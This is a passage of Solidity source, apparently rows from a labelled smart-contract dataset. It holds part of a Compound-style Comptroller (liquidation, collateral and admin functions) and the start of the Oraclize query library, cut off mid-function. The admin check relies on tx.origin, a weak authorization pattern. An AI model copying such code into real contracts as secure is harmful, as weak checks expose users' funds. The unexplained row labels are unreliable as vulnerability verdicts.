address cTokenBorrowed,
address cTokenCollateral,
address liquidator,
address borrower,
uint repayAmount) external returns (uint) {
liquidator;
borrower;
repayAmount;
if (!markets[cTokenBorrowed].isListed || !markets[cTokenCollateral].isListed) {
return uint(Error.MARKET_NOT_LISTED);
}
(Error err, , uint shortfall) = getAccountLiquidityInternal(borrower);
if (err != Error.NO_ERROR) {
return uint(err);
}
if (shortfall == 0) {
return uint(Error.INSUFFICIENT_SHORTFALL);
}
uint borrowBalance = CToken(cTokenBorrowed).borrowBalanceStored(borrower);
(MathError mathErr, uint maxClose) = mulScalarTruncate(Exp({mantissa: closeFactorMantissa}), borrowBalance);
if (mathErr != MathError.NO_ERROR) {
return uint(Error.MATH_ERROR);
}
if (repayAmount > maxClose) {
return uint(Error.TOO_MUCH_REPAY);
}
return uint(Error.NO_ERROR);
}
function liquidateBorrowVerify(
address cTokenBorrowed,
address cTokenCollateral,
address liquidator,
address borrower,
uint repayAmount,
uint seizeTokens) external {
cTokenBorrowed;
cTokenCollateral;
liquidator;
borrower;
repayAmount;
seizeTokens;
if (false) {
maxAssets = maxAssets;
}
}
function seizeAllowed(
address cTokenCollateral,
address cTokenBorrowed,
address liquidator,
address borrower,
uint seizeTokens) external returns (uint) {
liquidator;
borrower;
seizeTokens;
if (!markets[cTokenCollateral].isListed || !markets[cTokenBorrowed].isListed) {
return uint(Error.MARKET_NOT_LISTED);
}
if (CToken(cTokenCollateral).comptroller() != CToken(cTokenBorrowed).comptroller()) {
return uint(Error.COMPTROLLER_MISMATCH);
}
return uint(Error.NO_ERROR);
}
function seizeVerify(
address cTokenCollateral,
address cTokenBorrowed,
address liquidator,
address borrower,
uint seizeTokens) external {
cTokenCollateral;
cTokenBorrowed;
liquidator;
borrower;
seizeTokens;
if (false) {
maxAssets = maxAssets;
}
}
function transferAllowed(address cToken, address src, address dst, uint transferTokens) external returns (uint) {
cToken;
src;
dst;
transferTokens;
return redeemAllowedInternal(cToken, src, transferTokens);
}
function transferVerify(address cToken, address src, address dst, uint transferTokens) external {
cToken;
src;
dst;
transferTokens;
if (false) {
maxAssets = maxAssets;
}
}
struct AccountLiquidityLocalVars {
uint sumCollateral;
uint sumBorrowPlusEffects;
uint cTokenBalance;
uint borrowBalance;
uint exchangeRateMantissa;
uint oraclePriceMantissa;
Exp collateralFactor;
Exp exchangeRate;
Exp oraclePrice;
Exp tokensToEther;
}
function getAccountLiquidity(address account) public view returns (uint, uint, uint) {
(Error err, uint liquidity, uint shortfall) = getHypotheticalAccountLiquidityInternal(account, CToken(0), 0, 0);
return (uint(err), liquidity, shortfall);
}
function getAccountLiquidityInternal(address account) internal view returns (Error, uint, uint) {
return getHypotheticalAccountLiquidityInternal(account, CToken(0), 0, 0);
}
function getHypotheticalAccountLiquidityInternal(
address account,
CToken cTokenModify,
uint redeemTokens,
uint borrowAmount) internal view returns (Error, uint, uint) {
AccountLiquidityLocalVars memory vars;
uint oErr;
MathError mErr;
CToken[] memory assets = accountAssets[account];
for (uint i = 0; i < assets.length; i++) {
CToken asset = assets[i];
(oErr, vars.cTokenBalance, vars.borrowBalance, vars.exchangeRateMantissa) = asset.getAccountSnapshot(account);
if (oErr != 0) {
return (Error.SNAPSHOT_ERROR, 0, 0);
}
vars.collateralFactor = Exp({mantissa: markets[address(asset)].collateralFactorMantissa});
vars.exchangeRate = Exp({mantissa: vars.exchangeRateMantissa});
vars.oraclePriceMantissa = oracle.getUnderlyingPrice(asset);
if (vars.oraclePriceMantissa == 0) {
return (Error.PRICE_ERROR, 0, 0);
}
vars.oraclePrice = Exp({mantissa: vars.oraclePriceMantissa});
(mErr, vars.tokensToEther) = mulExp3(vars.collateralFactor, vars.exchangeRate, vars.oraclePrice);
if (mErr != MathError.NO_ERROR) {
return (Error.MATH_ERROR, 0, 0);
}
(mErr, vars.sumCollateral) = mulScalarTruncateAddUInt(vars.tokensToEther, vars.cTokenBalance, vars.sumCollateral);
if (mErr != MathError.NO_ERROR) {
return (Error.MATH_ERROR, 0, 0);
}
(mErr, vars.sumBorrowPlusEffects) = mulScalarTruncateAddUInt(vars.oraclePrice, vars.borrowBalance, vars.sumBorrowPlusEffects);
if (mErr != MathError.NO_ERROR) {
return (Error.MATH_ERROR, 0, 0);
}
if (asset == cTokenModify) {
(mErr, vars.sumBorrowPlusEffects) = mulScalarTruncateAddUInt(vars.tokensToEther, redeemTokens, vars.sumBorrowPlusEffects);
if (mErr != MathError.NO_ERROR) {
return (Error.MATH_ERROR, 0, 0);
}
(mErr, vars.sumBorrowPlusEffects) = mulScalarTruncateAddUInt(vars.oraclePrice, borrowAmount, vars.sumBorrowPlusEffects);
if (mErr != MathError.NO_ERROR) {
return (Error.MATH_ERROR, 0, 0);
}
}
}
if (vars.sumCollateral > vars.sumBorrowPlusEffects) {
return (Error.NO_ERROR, vars.sumCollateral - vars.sumBorrowPlusEffects, 0);
} else {
return (Error.NO_ERROR, 0, vars.sumBorrowPlusEffects - vars.sumCollateral);
}
}
function liquidateCalculateSeizeTokens(address cTokenBorrowed, address cTokenCollateral, uint repayAmount) external view returns (uint, uint) {
uint priceBorrowedMantissa = oracle.getUnderlyingPrice(CToken(cTokenBorrowed));
uint priceCollateralMantissa = oracle.getUnderlyingPrice(CToken(cTokenCollateral));
if (priceBorrowedMantissa == 0 || priceCollateralMantissa == 0) {
return (uint(Error.PRICE_ERROR), 0);
}
uint exchangeRateMantissa = CToken(cTokenCollateral).exchangeRateStored();
uint seizeTokens;
Exp memory numerator;
Exp memory denominator;
Exp memory ratio;
MathError mathErr;
(mathErr, numerator) = mulExp(liquidationIncentiveMantissa, priceBorrowedMantissa);
if (mathErr != MathError.NO_ERROR) {
return (uint(Error.MATH_ERROR), 0);
}
(mathErr, denominator) = mulExp(priceCollateralMantissa, exchangeRateMantissa);
if (mathErr != MathError.NO_ERROR) {
return (uint(Error.MATH_ERROR), 0);
}
(mathErr, ratio) = divExp(numerator, denominator);
if (mathErr != MathError.NO_ERROR) {
return (uint(Error.MATH_ERROR), 0);
}
(mathErr, seizeTokens) = mulScalarTruncate(ratio, repayAmount);
if (mathErr != MathError.NO_ERROR) {
return (uint(Error.MATH_ERROR), 0);
}
return (uint(Error.NO_ERROR), seizeTokens);
}
function _setPriceOracle(PriceOracle newOracle) public returns (uint) {
if (!adminOrInitializing()) {
return fail(Error.UNAUTHORIZED, FailureInfo.SET_PRICE_ORACLE_OWNER_CHECK);
}
PriceOracle oldOracle = oracle;
oracle = newOracle;
emit NewPriceOracle(oldOracle, newOracle);
return uint(Error.NO_ERROR);
}
function _setCloseFactor(uint newCloseFactorMantissa) external returns (uint256) {
if (!adminOrInitializing()) {
return fail(Error.UNAUTHORIZED, FailureInfo.SET_CLOSE_FACTOR_OWNER_CHECK);
}
Exp memory newCloseFactorExp = Exp({mantissa: newCloseFactorMantissa});
Exp memory lowLimit = Exp({mantissa: closeFactorMinMantissa});
if (lessThanOrEqualExp(newCloseFactorExp, lowLimit)) {
return fail(Error.INVALID_CLOSE_FACTOR, FailureInfo.SET_CLOSE_FACTOR_VALIDATION);
}
Exp memory highLimit = Exp({mantissa: closeFactorMaxMantissa});
if (lessThanExp(highLimit, newCloseFactorExp)) {
return fail(Error.INVALID_CLOSE_FACTOR, FailureInfo.SET_CLOSE_FACTOR_VALIDATION);
}
uint oldCloseFactorMantissa = closeFactorMantissa;
closeFactorMantissa = newCloseFactorMantissa;
emit NewCloseFactor(oldCloseFactorMantissa, closeFactorMantissa);
return uint(Error.NO_ERROR);
}
function _setCollateralFactor(CToken cToken, uint newCollateralFactorMantissa) external returns (uint256) {
if (msg.sender != admin) {
return fail(Error.UNAUTHORIZED, FailureInfo.SET_COLLATERAL_FACTOR_OWNER_CHECK);
}
Market storage market = markets[address(cToken)];
if (!market.isListed) {
return fail(Error.MARKET_NOT_LISTED, FailureInfo.SET_COLLATERAL_FACTOR_NO_EXISTS);
}
Exp memory newCollateralFactorExp = Exp({mantissa: newCollateralFactorMantissa});
Exp memory highLimit = Exp({mantissa: collateralFactorMaxMantissa});
if (lessThanExp(highLimit, newCollateralFactorExp)) {
return fail(Error.INVALID_COLLATERAL_FACTOR, FailureInfo.SET_COLLATERAL_FACTOR_VALIDATION);
}
if (newCollateralFactorMantissa != 0 && oracle.getUnderlyingPrice(cToken) == 0) {
return fail(Error.PRICE_ERROR, FailureInfo.SET_COLLATERAL_FACTOR_WITHOUT_PRICE);
}
uint oldCollateralFactorMantissa = market.collateralFactorMantissa;
market.collateralFactorMantissa = newCollateralFactorMantissa;
emit NewCollateralFactor(cToken, oldCollateralFactorMantissa, newCollateralFactorMantissa);
return uint(Error.NO_ERROR);
}
function _setMaxAssets(uint newMaxAssets) external returns (uint) {
if (!adminOrInitializing()) {
return fail(Error.UNAUTHORIZED, FailureInfo.SET_MAX_ASSETS_OWNER_CHECK);
}
uint oldMaxAssets = maxAssets;
maxAssets = newMaxAssets;
emit NewMaxAssets(oldMaxAssets, newMaxAssets);
return uint(Error.NO_ERROR);
}
function _setLiquidationIncentive(uint newLiquidationIncentiveMantissa) external returns (uint) {
if (!adminOrInitializing()) {
return fail(Error.UNAUTHORIZED, FailureInfo.SET_LIQUIDATION_INCENTIVE_OWNER_CHECK);
}
Exp memory newLiquidationIncentive = Exp({mantissa: newLiquidationIncentiveMantissa});
Exp memory minLiquidationIncentive = Exp({mantissa: liquidationIncentiveMinMantissa});
if (lessThanExp(newLiquidationIncentive, minLiquidationIncentive)) {
return fail(Error.INVALID_LIQUIDATION_INCENTIVE, FailureInfo.SET_LIQUIDATION_INCENTIVE_VALIDATION);
}
Exp memory maxLiquidationIncentive = Exp({mantissa: liquidationIncentiveMaxMantissa});
if (lessThanExp(maxLiquidationIncentive, newLiquidationIncentive)) {
return fail(Error.INVALID_LIQUIDATION_INCENTIVE, FailureInfo.SET_LIQUIDATION_INCENTIVE_VALIDATION);
}
uint oldLiquidationIncentiveMantissa = liquidationIncentiveMantissa;
liquidationIncentiveMantissa = newLiquidationIncentiveMantissa;
emit NewLiquidationIncentive(oldLiquidationIncentiveMantissa, newLiquidationIncentiveMantissa);
return uint(Error.NO_ERROR);
}
function _supportMarket(CToken cToken) external returns (uint) {
if (msg.sender != admin) {
return fail(Error.UNAUTHORIZED, FailureInfo.SUPPORT_MARKET_OWNER_CHECK);
}
if (markets[address(cToken)].isListed) {
return fail(Error.MARKET_ALREADY_LISTED, FailureInfo.SUPPORT_MARKET_EXISTS);
}
cToken.isCToken();
markets[address(cToken)] = Market({isListed: true, collateralFactorMantissa: 0});
emit MarketListed(cToken);
return uint(Error.NO_ERROR);
}
function _become(Unitroller unitroller, PriceOracle _oracle, uint _closeFactorMantissa, uint _maxAssets, bool reinitializing) public {
require(msg.sender == unitroller.admin(), "only unitroller admin can change brains");
uint changeStatus = unitroller._acceptImplementation();
require(changeStatus == 0, "change not authorized");
if (!reinitializing) {
Comptroller freshBrainedComptroller = Comptroller(address(unitroller));
uint err = freshBrainedComptroller._setPriceOracle(_oracle);
require (err == uint(Error.NO_ERROR), "set price oracle error");
err = freshBrainedComptroller._setCloseFactor(_closeFactorMantissa);
require (err == uint(Error.NO_ERROR), "set close factor error");
err = freshBrainedComptroller._setMaxAssets(_maxAssets);
require (err == uint(Error.NO_ERROR), "set max asssets error");
err = freshBrainedComptroller._setLiquidationIncentive(liquidationIncentiveMinMantissa);
require (err == uint(Error.NO_ERROR), "set liquidation incentive error");
}
}
function adminOrInitializing() internal view returns (bool) {
bool initializing = (
msg.sender == comptrollerImplementation
&&
tx.origin == admin
);
bool isAdmin = msg.sender == admin;
return isAdmin || initializing;
}
} | 1 | 2,900 |
pragma solidity ^0.4.25;
contract OraclizeI {
address public cbAddress;
function query(uint _timestamp, string _datasource, string _arg) external payable returns (bytes32 _id);
function query_withGasLimit(uint _timestamp, string _datasource, string _arg, uint _gaslimit) external payable returns (bytes32 _id);
function query2(uint _timestamp, string _datasource, string _arg1, string _arg2) public payable returns (bytes32 _id);
function query2_withGasLimit(uint _timestamp, string _datasource, string _arg1, string _arg2, uint _gaslimit) external payable returns (bytes32 _id);
function queryN(uint _timestamp, string _datasource, bytes _argN) public payable returns (bytes32 _id);
function queryN_withGasLimit(uint _timestamp, string _datasource, bytes _argN, uint _gaslimit) external payable returns (bytes32 _id);
function getPrice(string _datasource) public returns (uint _dsprice);
function getPrice(string _datasource, uint gaslimit) public returns (uint _dsprice);
function setProofType(byte _proofType) external;
function setCustomGasPrice(uint _gasPrice) external;
function randomDS_getSessionPubKeyHash() external constant returns(bytes32);
}
contract OraclizeAddrResolverI {
function getAddress() public returns (address _addr);
}
library Buffer {
struct buffer {
bytes buf;
uint capacity;
}
function init(buffer memory buf, uint _capacity) internal pure {
uint capacity = _capacity;
if(capacity % 32 != 0) capacity += 32 - (capacity % 32);
buf.capacity = capacity;
assembly {
let ptr := mload(0x40)
mstore(buf, ptr)
mstore(ptr, 0)
mstore(0x40, add(ptr, capacity))
}
}
function resize(buffer memory buf, uint capacity) private pure {
bytes memory oldbuf = buf.buf;
init(buf, capacity);
append(buf, oldbuf);
}
function max(uint a, uint b) private pure returns(uint) {
if(a > b) {
return a;
}
return b;
}
function append(buffer memory buf, bytes data) internal pure returns(buffer memory) {
if(data.length + buf.buf.length > buf.capacity) {
resize(buf, max(buf.capacity, data.length) * 2);
}
uint dest;
uint src;
uint len = data.length;
assembly {
let bufptr := mload(buf)
let buflen := mload(bufptr)
dest := add(add(bufptr, buflen), 32)
mstore(bufptr, add(buflen, mload(data)))
src := add(data, 32)
}
for(; len >= 32; len -= 32) {
assembly {
mstore(dest, mload(src))
}
dest += 32;
src += 32;
}
uint mask = 256 ** (32 - len) - 1;
assembly {
let srcpart := and(mload(src), not(mask))
let destpart := and(mload(dest), mask)
mstore(dest, or(destpart, srcpart))
}
return buf;
}
function append(buffer memory buf, uint8 data) internal pure {
if(buf.buf.length + 1 > buf.capacity) {
resize(buf, buf.capacity * 2);
}
assembly {
let bufptr := mload(buf)
let buflen := mload(bufptr)
let dest := add(add(bufptr, buflen), 32)
mstore8(dest, data)
mstore(bufptr, add(buflen, 1))
}
}
function appendInt(buffer memory buf, uint data, uint len) internal pure returns(buffer memory) {
if(len + buf.buf.length > buf.capacity) {
resize(buf, max(buf.capacity, len) * 2);
}
uint mask = 256 ** len - 1;
assembly {
let bufptr := mload(buf)
let buflen := mload(bufptr)
let dest := add(add(bufptr, buflen), len)
mstore(dest, or(and(mload(dest), not(mask)), data))
mstore(bufptr, add(buflen, len))
}
return buf;
}
}
library CBOR {
using Buffer for Buffer.buffer;
uint8 private constant MAJOR_TYPE_INT = 0;
uint8 private constant MAJOR_TYPE_NEGATIVE_INT = 1;
uint8 private constant MAJOR_TYPE_BYTES = 2;
uint8 private constant MAJOR_TYPE_STRING = 3;
uint8 private constant MAJOR_TYPE_ARRAY = 4;
uint8 private constant MAJOR_TYPE_MAP = 5;
uint8 private constant MAJOR_TYPE_CONTENT_FREE = 7;
function encodeType(Buffer.buffer memory buf, uint8 major, uint value) private pure {
if(value <= 23) {
buf.append(uint8((major << 5) | value));
} else if(value <= 0xFF) {
buf.append(uint8((major << 5) | 24));
buf.appendInt(value, 1);
} else if(value <= 0xFFFF) {
buf.append(uint8((major << 5) | 25));
buf.appendInt(value, 2);
} else if(value <= 0xFFFFFFFF) {
buf.append(uint8((major << 5) | 26));
buf.appendInt(value, 4);
} else if(value <= 0xFFFFFFFFFFFFFFFF) {
buf.append(uint8((major << 5) | 27));
buf.appendInt(value, 8);
}
}
function encodeIndefiniteLengthType(Buffer.buffer memory buf, uint8 major) private pure {
buf.append(uint8((major << 5) | 31));
}
function encodeUInt(Buffer.buffer memory buf, uint value) internal pure {
encodeType(buf, MAJOR_TYPE_INT, value);
}
function encodeInt(Buffer.buffer memory buf, int value) internal pure {
if(value >= 0) {
encodeType(buf, MAJOR_TYPE_INT, uint(value));
} else {
encodeType(buf, MAJOR_TYPE_NEGATIVE_INT, uint(-1 - value));
}
}
function encodeBytes(Buffer.buffer memory buf, bytes value) internal pure {
encodeType(buf, MAJOR_TYPE_BYTES, value.length);
buf.append(value);
}
function encodeString(Buffer.buffer memory buf, string value) internal pure {
encodeType(buf, MAJOR_TYPE_STRING, bytes(value).length);
buf.append(bytes(value));
}
function startArray(Buffer.buffer memory buf) internal pure {
encodeIndefiniteLengthType(buf, MAJOR_TYPE_ARRAY);
}
function startMap(Buffer.buffer memory buf) internal pure {
encodeIndefiniteLengthType(buf, MAJOR_TYPE_MAP);
}
function endSequence(Buffer.buffer memory buf) internal pure {
encodeIndefiniteLengthType(buf, MAJOR_TYPE_CONTENT_FREE);
}
}
contract usingOraclize {
uint constant day = 60*60*24;
uint constant week = 60*60*24*7;
uint constant month = 60*60*24*30;
byte constant proofType_NONE = 0x00;
byte constant proofType_TLSNotary = 0x10;
byte constant proofType_Ledger = 0x30;
byte constant proofType_Android = 0x40;
byte constant proofType_Native = 0xF0;
byte constant proofStorage_IPFS = 0x01;
uint8 constant networkID_auto = 0;
uint8 constant networkID_mainnet = 1;
uint8 constant networkID_testnet = 2;
uint8 constant networkID_morden = 2;
uint8 constant networkID_consensys = 161;
OraclizeAddrResolverI OAR;
OraclizeI oraclize;
modifier oraclizeAPI {
if((address(OAR)==0)||(getCodeSize(address(OAR))==0))
oraclize_setNetwork(networkID_auto);
if(address(oraclize) != OAR.getAddress())
oraclize = OraclizeI(OAR.getAddress());
_;
}
modifier coupon(string code){
oraclize = OraclizeI(OAR.getAddress());
_;
}
function oraclize_setNetwork(uint8 networkID) internal returns(bool){
return oraclize_setNetwork();
networkID;
}
function oraclize_setNetwork() internal returns(bool){
if (getCodeSize(0x1d3B2638a7cC9f2CB3D298A3DA7a90B67E5506ed)>0){
OAR = OraclizeAddrResolverI(0x1d3B2638a7cC9f2CB3D298A3DA7a90B67E5506ed);
oraclize_setNetworkName("eth_mainnet");
return true;
}
if (getCodeSize(0xc03A2615D5efaf5F49F60B7BB6583eaec212fdf1)>0){
OAR = OraclizeAddrResolverI(0xc03A2615D5efaf5F49F60B7BB6583eaec212fdf1);
oraclize_setNetworkName("eth_ropsten3");
return true;
}
if (getCodeSize(0xB7A07BcF2Ba2f2703b24C0691b5278999C59AC7e)>0){
OAR = OraclizeAddrResolverI(0xB7A07BcF2Ba2f2703b24C0691b5278999C59AC7e);
oraclize_setNetworkName("eth_kovan");
return true;
}
if (getCodeSize(0x146500cfd35B22E4A392Fe0aDc06De1a1368Ed48)>0){
OAR = OraclizeAddrResolverI(0x146500cfd35B22E4A392Fe0aDc06De1a1368Ed48);
oraclize_setNetworkName("eth_rinkeby");
return true;
}
if (getCodeSize(0x6f485C8BF6fc43eA212E93BBF8ce046C7f1cb475)>0){
OAR = OraclizeAddrResolverI(0x6f485C8BF6fc43eA212E93BBF8ce046C7f1cb475);
return true;
}
if (getCodeSize(0x20e12A1F859B3FeaE5Fb2A0A32C18F5a65555bBF)>0){
OAR = OraclizeAddrResolverI(0x20e12A1F859B3FeaE5Fb2A0A32C18F5a65555bBF);
return true;
}
if (getCodeSize(0x51efaF4c8B3C9AfBD5aB9F4bbC82784Ab6ef8fAA)>0){
OAR = OraclizeAddrResolverI(0x51efaF4c8B3C9AfBD5aB9F4bbC82784Ab6ef8fAA);
return true;
}
return false;
}
function __callback(bytes32 myid, string result) public {
__callback(myid, result, new bytes(0));
}
function __callback(bytes32 myid, string result, bytes proof) public {
return;
myid; result; proof;
oraclize = OraclizeI(0);
}
function oraclize_getPrice(string datasource) oraclizeAPI internal returns (uint){
return oraclize.getPrice(datasource);
}
function oraclize_getPrice(string datasource, uint gaslimit) oraclizeAPI internal returns (uint){
return oraclize.getPrice(datasource, gaslimit);
}
function oraclize_query(string datasource, string arg) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
return oraclize.query.value(price)(0, datasource, arg);
}
function oraclize_query(uint timestamp, string datasource, string arg) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
return oraclize.query.value(price)(timestamp, datasource, arg);
}
function oraclize_query(uint timestamp, string datasource, string arg, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
return oraclize.query_withGasLimit.value(price)(timestamp, datasource, arg, gaslimit);
}
function oraclize_query(string datasource, string arg, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
return oraclize.query_withGasLimit.value(price)(0, datasource, arg, gaslimit);
}
function oraclize_query(string datasource, string arg1, string arg2) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
return oraclize.query2.value(price)(0, datasource, arg1, arg2);
}
function oraclize_query(uint timestamp, string datasource, string arg1, string arg2) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
return oraclize.query2.value(price)(timestamp, datasource, arg1, arg2);
}
function oraclize_query(uint timestamp, string datasource, string arg1, string arg2, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
return oraclize.query2_withGasLimit.value(price)(timestamp, datasource, arg1, arg2, gaslimit);
}
function oraclize_query(string datasource, string arg1, string arg2, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
return oraclize.query2_withGasLimit.value(price)(0, datasource, arg1, arg2, gaslimit);
}
function oraclize_query(string datasource, string[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
bytes memory args = stra2cbor(argN);
return oraclize.queryN.value(price)(0, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, string[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
bytes memory args = stra2cbor(argN);
return oraclize.queryN.value(price)(timestamp, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, string[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
bytes memory args = stra2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(timestamp, datasource, args, gaslimit);
}
function oraclize_query(string datasource, string[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
bytes memory args = stra2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(0, datasource, args, gaslimit);
}
function oraclize_query(string datasource, string[1] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[1] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[2] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[2] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[3] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[3] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[4] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[4] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[5] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[5] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
bytes memory args = ba2cbor(argN);
return oraclize.queryN.value(price)(0, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, bytes[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
bytes memory args = ba2cbor(argN);
return oraclize.queryN.value(price)(timestamp, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, bytes[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
bytes memory args = ba2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(timestamp, datasource, args, gaslimit);
}
function oraclize_query(string datasource, bytes[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
bytes memory args = ba2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(0, datasource, args, gaslimit);
}
function oraclize_query(string datasource, bytes[1] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[1] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
